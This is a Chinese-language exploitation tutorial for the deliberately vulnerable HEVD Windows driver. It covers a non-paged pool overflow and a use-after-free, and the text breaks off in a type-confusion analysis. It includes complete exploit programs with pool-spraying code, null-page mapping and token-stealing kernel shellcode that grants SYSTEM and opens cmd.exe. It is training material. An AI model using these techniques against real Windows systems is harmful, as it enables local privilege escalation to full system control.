kd> !pool 0x85a52308
Pool page 85a52308 region is Unknown
 85a52000 size:  138 previous size:    0  (Allocated)  ALPC (Protected)
 85a52138 size:   10 previous size:  138  (Free)       ....
 85a52148 size:   70 previous size:   10  (Free )  MmRl
 85a521b8 size:  148 previous size:   70  (Free)       FIPc
*85a52300 size:  200 previous size:  148  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 85a52500 size:   48 previous size:  200  (Allocated)  Vad 
 85a52548 size:   40 previous size:   48  (Free )  FIPc
 85a52588 size:   18 previous size:   40  (Free)       FOCX
 85a525a0 size:   48 previous size:   18  (Allocated)  Vad 
 85a525e8 size:   b8 previous size:   48  (Allocated)  File (Protected)
 85a526a0 size:   70 previous size:   b8  (Free )  FMfc
 85a52710 size:  3b8 previous size:   70  (Free)       CcPL
 85a52ac8 size:   40 previous size:  3b8  (Allocated)  Even (Protected)
 85a52b08 size:  3a0 previous size:   40  (Free)       FOCX
 85a52ea8 size:   b8 previous size:  3a0  (Allocated)  File (Protected)
 85a52f60 size:   70 previous size:   b8  (Allocated)  FMfc
 85a52fd0 size:   30 previous size:   70  (Free)       FOCX

85a52300就是TriggerBufferOverflowNonPagedPool中申请到的池的起始地址,大小为0x200

所以末尾地址为85a52300+200=85a52500,这也是下一个池块的头部所在地址。查看memcpy运行后该地址处的内存:

image-20230814034535823

我们的目标就是构造数据,修改下一个池块的内容,从而达到运行我们的shellcode的目的。

构造溢出池块空间

池块分布是无序的,而我们希望能在非分页内存池中控制池块分布,使得溢出点所在池块后边是我们构建的池块,从而达到溢出利用条件。

我们知道存储在非分页池中的通用系统数据结构包括表示进程和线程的内核对象,互斥对象,信号量和事件等同步对象,表示为文件对象的文件引用以及I/O请求包(IRP)代表I/O操作。

Windows 提供了一种Event对象, 该对象存储在非分页池中,可以使用CreateEvent API 来创建:

HANDLE WINAPI CreateEvent( 
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

该函数会生成一个Event事件对象,它的大小为 0x40

因为在刚才的调试中我们知道我们的池大小为 0x1f8 + 8(POOL_HEADER) = 0x200,所以多次申请就刚好可以填满我们的池,如果把池铺满成我们的Event对象,我们再用CloseHandle函数释放一些对象,我们就可以在Event中间留出一些我们可以操控的空间

测试代码:

##include <stdio.h>
##include <Windows.h>

HANDLE Event_Object[0x1000];

void Pool_Spray()
{
	for (int i = 0; i < 0x1000; i++)
		Event_Object[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
	for (int i = 0; i < 0x1000; i++)
	{
		// 0x40 * 8 = 0x200
		// 每次[0-7]*n的event空间,而8*n不释放.进而构成ex40*8=x200的空闲空间
		for (int j = 0; j < 8; j++)
			CloseHandle(Event_Object[i + j]);
		i += 8;
	}
}
int main()
{
	DWORD bReturn = 0;
	char buf[0x1f8] = { 0 };
	HANDLE hDevice = NULL;
	RtlFillMemory(buf, 0x1f8, 0x41);
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);
	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}
	printf("[+]Success to get HANDLE!\n");
	Pool_Spray();
	DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
	return 0;
}

运行后:

kd> !pool KernelBuffer
Pool page 85b81888 region is Nonpaged pool
 85b81000 size:   40 previous size:    0  (Free)       Even
 85b81040 size:   40 previous size:   40  (Free )  Even (Protected)
 85b81080 size:   40 previous size:   40  (Free )  Even (Protected)
 85b810c0 size:   c0 previous size:   40  (Free)       Even
 85b81180 size:   40 previous size:   c0  (Allocated)  Even (Protected)
 85b811c0 size:  200 previous size:   40  (Free)       Even
 85b813c0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 85b81400 size:  200 previous size:   40  (Free)       Even
 85b81600 size:   40 previous size:  200  (Allocated)  Even (Protected)
 85b81640 size:  200 previous size:   40  (Free)       Even
 85b81840 size:   40 previous size:  200  (Allocated)  Even (Protected)
*85b81880 size:  200 previous size:   40  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 85b81a80 size:   40 previous size:  200  (Allocated)  Even (Protected)
 85b81ac0 size:  200 previous size:   40  (Free)       Even
 85b81cc0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 85b81d00 size:  200 previous size:   40  (Free)       Even
 85b81f00 size:   40 previous size:  200  (Allocated)  Even (Protected)
 85b81f40 size:   c0 previous size:   40  (Free)       Even

可以看到我们构建的event块刚好在函数申请的池空间下边,进而达到溢出利用条件

池头伪造

Win7池块的结构图:

图片描述

查看每种结构:

只有OBJECT_HEADER_QUOTA_INFO的+0x4偏移处存在NonPagedPoolCharge成员指定pool的大小,所以POOL_HEADER后面是OBJECT_HEADER_QUOTA_INFO结构。

kd> dt nt!_POOL_HEADER
   +0x000 PreviousSize     : Pos 0, 9 Bits
   +0x000 PoolIndex        : Pos 9, 7 Bits
   +0x002 BlockSize        : Pos 0, 9 Bits
   +0x002 PoolType         : Pos 9, 7 Bits
   +0x000 Ulong1           : Uint4B
   +0x004 PoolTag          : Uint4B
   +0x004 AllocatorBackTraceIndex : Uint2B
   +0x006 PoolTagHash      : Uint2B
kd> dt _OBJECT_HEADER_PROCESS_INFO
nt!_OBJECT_HEADER_PROCESS_INFO
   +0x000 ExclusiveProcess : Ptr32 _EPROCESS
   +0x004 Reserved         : Uint4B
kd> dt _OBJECT_HEADER_QUOTA_INFO
nt!_OBJECT_HEADER_QUOTA_INFO
   +0x000 PagedPoolCharge  : Uint4B
   +0x004 NonPagedPoolCharge : Uint4B////这里
   +0x008 SecurityDescriptorCharge : Uint4B
   +0x00c SecurityDescriptorQuotaBlock : Ptr32 Void
kd> dt _OBJECT_HEADER_HANDLE_INFO
nt!_OBJECT_HEADER_HANDLE_INFO
   +0x000 HandleCountDataBase : Ptr32 _OBJECT_HANDLE_COUNT_DATABASE
   +0x000 SingleEntry      : _OBJECT_HANDLE_COUNT_ENTRY
kd> dt _OBJECT_HEADER_NAME_INFO
nt!_OBJECT_HEADER_NAME_INFO
   +0x000 Directory        : Ptr32 _OBJECT_DIRECTORY
   +0x004 Name             : _UNICODE_STRING
   +0x00c ReferenceCount   : Int4B
kd> dt _OBJECT_HEADER_CREATOR_INFO
nt!_OBJECT_HEADER_CREATOR_INFO
   +0x000 TypeList         : _LIST_ENTRY
   +0x008 CreatorUniqueProcess : Ptr32 Void
   +0x00c CreatorBackTraceIndex : Uint2B
   +0x00e Reserved         : Uint2B

只有OBJECT_HEADER_QUOTA_INFO的+0x4偏移处存在NonPagedPoolCharge成员指定pool的大小,所以POOL_HEADER后面是OBJECT_HEADER_QUOTA_INFO结构。

查看下一个池块的数据对应结构:

image-20230814042659161

查看每个结构具体成员的数据:

kd> dt _POOL_HEADER 85b81a80 
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y001000000 (0x40)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001000 (0x8)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4080040
   +0x004 PoolTag          : 0xee657645
   +0x004 AllocatorBackTraceIndex : 0x7645
   +0x006 PoolTagHash      : 0xee65
kd> dt _OBJECT_HEADER_QUOTA_INFO 85b81a80+0x8
nt!_OBJECT_HEADER_QUOTA_INFO
   +0x000 PagedPoolCharge  : 0
   +0x004 NonPagedPoolCharge : 0x40
   +0x008 SecurityDescriptorCharge : 0
   +0x00c SecurityDescriptorQuotaBlock : (null) 
kd> dt _OBJECT_HEADER 85b81a80+0x18
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xc ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x8726b940 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x8726b940 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

Win7之后,OBJECT_HEADERTypeIndex成员的值是一个索引值,由ObGetObjectType函数根据索引值在ObTypeIndexTable数组中找到对应的值,该值是OBJECT_TYPE结构的起始地址:

image-20230814043316290

点击TypeInfo成员,查看此处的结构数据,TypeInfo是一个OBJECT_TYPE_INITIALIZER结构体,我们关注其中的CloseProcedure字段,在池块释放时会调用这里的代码,所以我们将此字段覆盖为shellcode的地址即可:

所以我们可以通过溢出控制池块_OBJECT_HEADER来控制TypeIndex指向的地址(这里我们指向0页),然后再再零页+0x60上写入我们的shellcode地址进而达成利用。

image-20230814043454447

将shellcode写入0页内存

win7中,我们可以在用户模式下控制0页内存,所以我们将OBJECT_HEADER的TypeIndex索引从0xc修改为0x0

image-20230814043641013

构造池块数据时,由于只需修改TypeIndex,它相对于池块起始位置的偏移是0x8+0x10+0xc=0x24,大小为4,所以溢出数据长度为0x28:

下面是参照正常池块结构来写入的数据,只修改了0x00cTypeIndex0x0来指向零页 在TriggerBufferOverflowNonPagedPool内部执行完memcpy()后即被溢出重写TypeIndex0x0

    //********构造池块**********
    *(DWORD *)(buf + PoolSize + 0x00) = 0x04080040;
    *(DWORD *)(buf + PoolSize + 0x04) = 0xee657645;
    *(DWORD *)(buf + PoolSize + 0x08) = 0x00000000;
    *(DWORD *)(buf + PoolSize + 0x0c) = 0x00000040;
    *(DWORD *)(buf + PoolSize + 0x10) = 0x00000000;
    *(DWORD *)(buf + PoolSize + 0x14) = 0x00000000;
    *(DWORD *)(buf + PoolSize + 0x18) = 0x00000001;
    *(DWORD *)(buf + PoolSize + 0x1c) = 0x00000001;
    *(DWORD *)(buf + PoolSize + 0x20) = 0x00000000;
    *(DWORD *)(buf + PoolSize + 0x24) = 0x00080000; // 这个只是将TypeIndex字段0x0c设置为0x00,这是我们溢出构造的池块
    //********构造池块**********
配置溢出值

由于我们的目的只是将TypeIndex修改即可,所以溢出值只要到达TypeIndex的偏移即可,而TypeIndex的成员偏移为0x24,所以我们只要溢出0x24大小即可

    const int ModifySize = 0x28; // 由于我们只要将TypeIndex修改即可,所以溢出值只要到达TypeIndex的偏移即可
    const int PoolSize = 0x1f8;
    char buf[0x220];

    memset(buf, 0x41, 0x1f8);

申请零页内存空间:

    PVOID Zero_addr = (PVOID)1;
    SIZE_T RegionSize = 0x1000;

    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),"NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return 0;
    }

    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory( // 通过NtAllocateVirtualMemory来申请0页内存空间
            INVALID_HANDLE_VALUE,
            &Zero_addr,
            0,
            &RegionSize,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE)) ||
        Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return 0;
    }

将0页+0x60的成员CloseProcedure指向我们的shellcode地址

 *(DWORD *)(0x60) = (DWORD)&ShellCode; // 将0页+0x60偏移成员CloseProcedure设置为我们shellcode地址

完整exp:

##include<stdio.h>
##include<Windows.h>
##define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

HANDLE hDevice = NULL;

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect
	);

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

static VOID ShellCode()
{
	_asm
	{
		//int 3
		pop edi; 这里注意堆栈平衡
		pop esi; 这里注意堆栈平衡
		pop ebx; 这里注意堆栈平衡
		pushad
		xor eax, eax; eax设置为0
		mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
		mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
		mov ecx, eax; 将本进程EPROCESS地址复制到ecx
		mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0b8h
			cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

			mov edx, [eax + 0f8h]; 获取System进程的Token
			mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
			; End of Token Stealing Stub
			popad
			ret; Return cleanly
	}
}

BOOL init()
{
	// Get HANDLE
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		return FALSE;
	}
	printf("[+]Success to get HANDLE!\n");
	return TRUE;
}

HANDLE Event_OBJECT[0x1000];

VOID Pool_Spray()
{
	for (int i = 0; i < 0x1000; i++)
		Event_OBJECT[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

	for (int i = 0; i < 0x1000; i++)
	{
		// 0x40 * 8 = 0x200
		for (int j = 0; j < 8; j++)
			CloseHandle(Event_OBJECT[i + j]);    //每次[0-7]*n的event空间,而8*n不释放,进而构成0x40 * 8 = 0x200的空闲空间
		i += 8;
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

VOID shellcode()
{
	DWORD bReturn = 0;
	// PoolSize + ModifySize = 0x1f8 + 0x28
	const int ModifySize = 0x28;    //由于我们只要将TypeIndex修改即可,所以溢出值只要到达TypeIndex的偏移即可
	const int PoolSize = 0x1f8;
	char buf[0x220];

	memset(buf, 0x41, 0x1f8);

	printf("[+]Started to construct pool...\n");
	//********构造池块**********
	*(DWORD*)(buf + PoolSize + 0x00) = 0x04080040;
	*(DWORD*)(buf + PoolSize + 0x04) = 0xee657645;
	*(DWORD*)(buf + PoolSize + 0x08) = 0x00000000;
	*(DWORD*)(buf + PoolSize + 0x0c) = 0x00000040;
	*(DWORD*)(buf + PoolSize + 0x10) = 0x00000000;
	*(DWORD*)(buf + PoolSize + 0x14) = 0x00000000;
	*(DWORD*)(buf + PoolSize + 0x18) = 0x00000001;
	*(DWORD*)(buf + PoolSize + 0x1c) = 0x00000001;
	*(DWORD*)(buf + PoolSize + 0x20) = 0x00000000;
	*(DWORD*)(buf + PoolSize + 0x24) = 0x00080000; // 这个只是将TypeIndex字段设置为0x0,这是我们溢出构造的池块
	//********构造池块**********

	printf("[+]Success to construct pool!\n");

	PVOID    Zero_addr = (PVOID)1;
	SIZE_T    RegionSize = 0x1000;

	*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
		GetModuleHandleW(L"ntdll"),
		"NtAllocateVirtualMemory");

	if (NtAllocateVirtualMemory == NULL)
	{
		printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
		system("pause");
		return ;
	}

	printf("[+]Started to alloc zero page...\n");
	if (!NT_SUCCESS(NtAllocateVirtualMemory(        //通过NtAllocateVirtualMemory来申请0页内存空间
		INVALID_HANDLE_VALUE,
		&Zero_addr,
		0,
		&RegionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE)) || Zero_addr != NULL)
	{
		printf("[+]Failed to alloc zero page!\n");
		system("pause");
		return ;
	}

	printf("[+]Success to alloc zero page...\n");
	*(DWORD*)(0x60) = (DWORD)& ShellCode;        //将0页+0x60偏移成员CloseProcedure设置为shellcode地址

	Pool_Spray();
	DeviceIoControl(hDevice, 0x22200f, buf, (PoolSize + ModifySize), NULL, 0, &bReturn, NULL);

	for (int i = 0; i < 0x1000; i++)
	{
		if (Event_OBJECT[i]) CloseHandle(Event_OBJECT[i]);
	}
}

int main()
{

	if (init() == FALSE)
	{
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}

	shellcode();

	printf("[+]Start to Create cmd...\n");
	CreateCmd();
	system("pause");

	return 0;
}

利用原理

待完成

image-20230814061317908

6.UAF-AllocateUaFObjectNonPagedPool

UAF:

image-20230814064851640

将释放后未设置成NULL的指针称为悬空指针(dangling pointer),该处的内存没有进行回收,导致下次申请内存时再次使用该处内存,使得悬空指针可以访问修改过的内存

示例代码:

##include <stdio.h>
##include <stdlib.h>
void main(void)
{
    int *p1, *p2;
    p1 = malloc(sizeof(int));
    *p1 = 100;
    printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);
    free(p1);
    p2 = malloc(sizeof(int));
    *p2 = 50;
    printf("p2: \t address:%X \t value=%d\n", (int)p2, *p2);
    printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);
    free(p2);
}

结果:

p1:      address:C25E40          value=100
p2:      address:C25E40          value=50
p1:      address:C25E40          value=50

可以看到p1句柄指向的堆块即使被释放了但是句柄没有设置为NULL,进而被重新读取到这块被释放的内存

漏洞分析

0x2220130x22201B分别是申请,使用和释放:

    case 0x222013u:
        v6 = _DbgPrintEx;
        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
        v7 = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, v4);
        v9 = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n";
        goto LABEL_4;
    case 0x222017u:
        v6 = _DbgPrintEx;
        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
        v7 = UseUaFObjectNonPagedPoolIoctlHandler(Irp, v4);
        v9 = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n";
        goto LABEL_4;
    case 0x22201Bu:
        v6 = _DbgPrintEx;
        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
        v7 = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, v4);
        v9 = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n";
        goto LABEL_4;
    case 0x22201Fu:
        v6 = _DbgPrintEx;
        _DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
        v7 = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, v4);
        v9 = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n";
        goto LABEL_4;

漏洞就再释放的那里,释放了但是没有置NULL:

int __stdcall FreeUaFObjectNonPagedPool()
{
  int v0; // esi

  v0 = -1073741823;
  if ( g_UseAfterFreeObjectNonPagedPool )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Freeing UaF Object\n");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
    ExFreePoolWithTag(g_UseAfterFreeObjectNonPagedPool, 0x6B636148u);
    v0 = 0;
  }
  return v0;
}

从而导致在UseUaFObjectNonPagedPool函数执行的时候还是可以调用全局指针g_UseAfterFreeObjectNonPagedPool

int __stdcall UseUaFObjectNonPagedPool()
{
  int v0; // esi

  v0 = 0xC0000001;
  if ( g_UseAfterFreeObjectNonPagedPool )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Using UaF Object\n");
    _DbgPrintEx(0x4Du, 3u, "[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
    _DbgPrintEx(0x4Du, 3u, "[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", *g_UseAfterFreeObjectNonPagedPool);
    _DbgPrintEx(0x4Du, 3u, "[+] Calling Callback\n");
    if ( *g_UseAfterFreeObjectNonPagedPool )
      (*g_UseAfterFreeObjectNonPagedPool)();
    v0 = 0;
  }
  return v0;
}
  • AllocateUaFObjectNonPagedPool函数给g_UseAfterFreeObjectNonPagedPool全局变量申请0x58大小的池空间(还有8字节的池头部,所以大小是0x60);
  • UseUaFObjectNonPagedPool函数执行全局变量指向的函数;
  • FreeUaFObjectNonPagedPool函数释放全局指针;
  • AllocateFakeObjectNonPagedPool函数也申请0x58的池空间,并将构造的数据写入该池空间。

漏洞利用

这里用到了堆喷,**堆喷的原理可以这样简单理解:**假设有一个大小为n的内核pool chunk A,然后释放该chunk。当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。

exp在下面,断点:

kd> bp HEVD!AllocateUaFObjectNonPagedPool
kd> bp HEVD!UseUaFObjectNonPagedPool
kd> bp HEVD!FreeUaFObjectNonPagedPool
kd> bp HEVD!AllocateFakeObjectNonPagedPool

断在AllocateUaFObjectNonPagedPool,运行之后:

kd> dd g_UseAfterFreeObjectNonPagedPool
a9ddd014  875f85e0 00000000 00000000 00000000
a9ddd024  00000000 00000000 00000000 00000000
a9ddd034  00000000 00000000 00000000 00000000
a9ddd044  00000000 00000000 00000000 00000000
a9ddd054  00000000 00000000 00000000 00000000
a9ddd064  00000000 00000000 00000000 00000000
a9ddd074  00000000 00000000 00000000 00000000
a9ddd084  00000000 00000000 00000000 00000000
kd> dd 875f85e0 
ReadVirtual: 875f85e0 not properly sign extended
875f85e0  a9de0418 41414141 41414141 41414141
875f85f0  41414141 41414141 41414141 41414141
875f8600  41414141 41414141 41414141 41414141
875f8610  41414141 41414141 41414141 41414141
875f8620  41414141 41414141 41414141 41414141
875f8630  41414141 00414141 040b000c 6d4d6956
875f8640  941773a8 9dcce910 a8e8be70 00000000
875f8650  00000000 85f9f600 96dff730 00000000

这时它的原有函数:

kd> u a9de0418
ReadVirtual: a9de0418 not properly sign extended
a9de0418 680a1ddea9      push    offset HEVD! ?? ::NNGAKEGL::`string' (a9de1d0a)
a9de041d 6a03            push    3
a9de041f 6a4d            push    4Dh
a9de0421 ff1504c0d9a9    call    dword ptr [HEVD!_imp__DbgPrintEx (a9d9c004)]
a9de0427 83c40c          add     esp,0Ch
a9de042a c3              ret
a9de042b cc              int     3
a9de042c 6a10            push    10h

这时它的池块:

kd> !pool 875f85e0 
Pool page 875f85e0 region is Unknown
...
*875f85d8 size:   60 previous size:   48  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
...

继续运行free后:

kd> !pool 875f85e0 
Pool page 875f85e0 region is Unknown
...
*875f85d8 size:   60 previous size:   48  (Free ) *Hack
		Owning component : Unknown (update pooltag.txt)
...

接下来继续运行AllocateFakeObjectNonPagedPool函数,堆喷之后:

kd> !pool 875f85e0 
Pool page 875f85e0 region is Unknown
...
		Owning component : Unknown (update pooltag.txt)
...

这时可以看到,前4字节已经变成了shellcode的地址:

kd> dd g_UseAfterFreeObjectNonPagedPool
a9ddd014  875f85e0 00000000 00000000 00000000
a9ddd024  00000000 00000000 00000000 00000000
a9ddd034  00000000 00000000 00000000 00000000
a9ddd044  00000000 00000000 00000000 00000000
a9ddd054  00000000 00000000 00000000 00000000
a9ddd064  00000000 00000000 00000000 00000000
a9ddd074  00000000 00000000 00000000 00000000
a9ddd084  00000000 00000000 00000000 00000000
kd> dd 875f85e0 
875f85e0  00b71040 44434241 44434241 00000000
875f85f0  00000000 00000000 00000000 00000000
875f8600  00000000 00000000 00000000 00000000
875f8610  00000000 00000000 00000000 00000000
875f8620  00000000 00000000 00000000 00000000
875f8630  00000000 00000000 040b000c 6d4d6956
875f8640  941773a8 9dcce910 a8e8be70 00000000
875f8650  00000000 85f9f600 96dff730 00000000
kd> u 00b71040 
00b71040 53              push    ebx
00b71041 56              push    esi
00b71042 57              push    edi
00b71043 90              nop
00b71044 60              pushad
00b71045 64a124010000    mov     eax,dword ptr fs:[00000124h]
00b7104b 8b4050          mov     eax,dword ptr [eax+50h]
00b7104e 8bc8            mov     ecx,eax

EXP

代码:

##include <stdio.h>
##include <Windows.h>

typedef void(*FunctionPointer)();

void ShellCode()
{
	_asm
	{
		nop
		pushad
		mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
		mov eax, [eax + 0x50] // 找到_EPROCESS结构
		mov ecx, eax
		mov edx, 4 // edx = system PID(4)

		// 循环是为了获取system的_EPROCESS
		find_sys_pid :
					 mov eax, [eax + 0xb8] // 找到进程活动链表
					 sub eax, 0xb8 // 链表遍历
					 cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
					 jnz find_sys_pid

					 // 替换Token
					 mov edx, [eax + 0xf8]
					 mov[ecx + 0xf8], edx
					 popad
					 ret
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn)
		CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
	DWORD recvBuf;
	// 获取句柄
	HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);

	printf("Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("获取句柄失败\n");
		return 0;
	}

	// 调用 AllocateUaFObject() 函数申请内存
	printf("Start to call AllocateUaFObject()...\n");
	DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);

	// 调用 FreeUaFObject() 函数释放对象
	printf("Start to call FreeUaFObject()...\n");
	DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);

	printf("Start to write shellcode()...\n");
	// 申请假的chunk
	char fakechunk[0x58] = { 0, 0, 0, 0, 'A', 'B', 'C', 'D', 'A', 'B', 'C', 'D' };

	// 指向我们的shellcode
	*(PDWORD)fakechunk = (DWORD)ShellCode;
	// 用A填满该chunk
	// RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

	// 堆喷射
	printf("Start to heap spray...\n");
	for (int i = 0; i < 5000; i++)
	{
		DeviceIoControl(hDevice, 0x22201F, fakechunk, 0x58, NULL, 0, &recvBuf, NULL);
	}
	printf("Start to call UseUaFObject()...\n");
	DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);

	printf("Start to create cmd...\n");
	CreateCmd();
	return 0;
}

7.TypeConfusing-TriggerTypeConfusion

该漏洞为类型混淆漏洞

漏洞分析

先申请了8字节的非分页内存空间,之后调用ProbForRead验证用户缓冲区,之后就将用户缓冲区的内容复制到申请的非分页内存空间中,而未进行类型验证,然后TypeConfusionObjectInitializer中会执行 Callback()

int __stdcall TriggerTypeConfusion(_USER_TYPE_CONFUSION_OBJECT *UserTypeConfusionObject)
{
  _KERNEL_TYPE_CONFUSION_OBJECT *v1; // ebx
  int result; // eax
  int Status; // [esp+14h] [ebp-1Ch]

  ProbeForRead(UserTypeConfusionObject, 8u, 1u);
  v1 = ExAllocatePoolWithTag(NonPagedPool, 8u, 0x6B636148u);
  if ( v1 )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 8);
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v1);
    _DbgPrintEx(0x4Du, 3u, "[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject: 0x%p\n", v1);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject Size: 0x%X\n", 8);
    *v1 = *UserTypeConfusionObject;
    _DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", v1->ObjectID);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", v1->Callback);
    _DbgPrintEx(0x4Du, 3u, "[+] Triggering Type Confusion\n");
    Status = TypeConfusionObjectInitializer(v1);
    _DbgPrintEx(0x4Du, 3u, "[+] Freeing KernelTypeConfusionObject Object\n");
